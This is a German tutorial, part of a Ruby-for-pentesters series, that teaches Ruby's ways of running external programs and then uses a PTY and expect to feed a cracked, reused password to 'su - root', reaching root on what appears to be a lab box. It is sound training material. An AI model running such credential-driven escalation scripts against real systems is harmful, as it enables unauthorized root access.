// Ruby für Pentester · Teil 7
Root werden
Das geknackte Passwort ist auch das von root — schlichte Passwort-Wiederverwendung. Wir setzen es zum Eskalieren ein und lernen die wenigen Wege, wie Ruby externe Programme ausführt — system, Backticks, Open3 — und enden mit einem PTY, um ein interaktives su zu steuern.
Teil 6 hat uns monkeybizness gereicht — das Passwort des OFBiz-Admins. Hier die
Belohnung: Auf dieser Box ist das auch das Login-Passwort von root.
Passwort-Wiederverwendung ist die häufigste Rechteausweitung überhaupt, und
sie ist der Grund, warum das Knacken eines Hashes so oft das ganze Engagement
beendet. Es bleibt nur su. Wir tun es aus Ruby, was heißt, zu lernen, wie Ruby
andere Programme ausführt — ein Werkzeugkasten, den du in jedem Skript nutzt.
Auf einer Box ohne Ruby tippst du einfach
suund das Passwort von Hand. Es geht hier um Rubys Werkzeugkasten zum Starten von Programmen; die Eskalation ist die Demo.
Drei Wege, ein Kommando auszuführen
Ruby gibt dir eine Leiter von Optionen, von grob bis präzise:
system('id') # run it; output goes to the screen; returns true/false
output = `id` # backticks: capture stdout as a string
output = %x[id] # exactly the same as backticks, different delimiters
require 'open3'
stdout, stderr, status = Open3.capture3('id')
puts stdout if status.success?
systemführt das Kommando aus, lässt seine Ausgabe auf dein Terminal fließen und gibttrue/falsefür Erfolg zurück — gut, wenn dich nur interessiert, ob es geklappt hat.- Backticks (und
%x[], dasselbe) führen das Kommando aus und geben seinen stdout als String zurück — gut, wenn du die Ausgabe willst. Open3.capture3ist der präzise: Es gibt stdout, stderr und den Exit-Status getrennt zurück, sodass du echte Ausgabe von Fehler-Rauschen trennen kannst. Greif danach, wann immer Fehler zählen.
Das ist das ganze Spektrum. Aber keiner davon kann uns eskalieren — und es lohnt sich zu verstehen, warum.
Warum su anders ist
Man würde denken, echo monkeybizness | su funktioniere. Tut es nicht. su
liest sein Passwort direkt vom Terminal — dem TTY —, nicht von der
Standardeingabe, mit Absicht, damit Passwörter nicht aus einem Skript
hineingepiped werden können. Backticks und Open3 geben dem Kind eine Pipe, kein
Terminal, also verweigert su sie.
Die Lösung ist, ihm ein Terminal zu geben — ein falsches, das wir steuern.
Ein Pseudo-Terminal mit PTY
Rubys pty-Bibliothek allokiert ein Pseudo-Terminal, und sein
expect-Begleiter lässt uns auf Prompts warten und sie beantworten — steuert
su genau so, wie ein Mensch es täte:
require 'pty'
require 'expect'
PTY.spawn('su - root') do |reader, writer, _pid|
writer.sync = true
reader.expect(/Password:/, 5)
writer.puts 'monkeybizness'
reader.expect(/[#$] /, 5)
writer.puts 'id'
puts reader.expect(/uid=\d+.*/, 5)&.first
writer.puts 'exit'
rescue Errno::EIO
# the child shell closed — normal once we exit
end
PTY.spawn('su - root')startetsuunter einem Pseudo-Terminal und liefert einreader/writer-Paar (plus die Kind-pid) — die beiden Enden dieses Terminals.reader.expect(/Password:/, 5)blockiert, bissuseinen Prompt druckt, und gibt nach 5 Sekunden auf (liefertnilbei Timeout).writer.puts 'monkeybizness'tippt das Passwort; wir warten auf den#-Prompt der Root-Shell, führenidaus und lesen die Antwort zurück.- Wenn die Shell endet, wirft das Pseudo-Terminal
Errno::EIO— die normale Art, wie ein PTY das Ende des Kindes signalisiert, also fangen wir es.
Lauf es:
$ ruby root.rb
uid=0(root) gid=0(root) groups=0(root)
uid=0(root) — root, ganz aus Ruby erreicht, auf die Kraft eines einzigen
wiederverwendeten Passworts. Das ist die Box.
Erkenntnisse
- Ruby führt externe Programme auf drei Wegen aus:
system(Status, Ausgabe auf den Bildschirm), Backticks/%x[](stdout einfangen) undOpen3.capture3(stdout, stderr und Status getrennt — die präzise Wahl). - Manche Programme,
sudarunter, verlangen ein echtes Terminal und ignorieren gepipte Eingabe — eine Pipe ist kein TTY. PTY.spawnallokiert ein Pseudo-Terminal undexpectsteuert es: auf einen Prompt warten, eine Antwort schreiben. Es wirftErrno::EIO, wenn das Kind endet.- Passwort-Wiederverwendung ist eine erstklassige Rechteausweitung: ein geknacktes Zugangsdatum ist es wert, gegen jedes Konto und jeden Dienst der Box probiert zu werden.
Übungen
- Schreib die
id-Prüfung mitOpen3.capture3um und gibstderrnur aus, wenn der Exit-statusnicht erfolgreich ist. - Pack die Eskalation in ein Prädikat
root?, das zurückgibt, ob die PTY-Sitzunguid=0erreicht hat, und fang einen Falsch-Passwort-Timeout alsfalseab. - Verallgemeinere den PTY-Block zu
as_root(cmd), das eskaliert, ein Kommando als root ausführt und dessen Ausgabe zurückgibt — dein eigener kleinersu-Runner.
Weiter — Teil 8: Acht Skripte, eine Form. Wir falten Recon, Bypass, RCE und Loot in eine wiederverwendbare Klasse mit einer echten Kommandozeilen-Schnittstelle.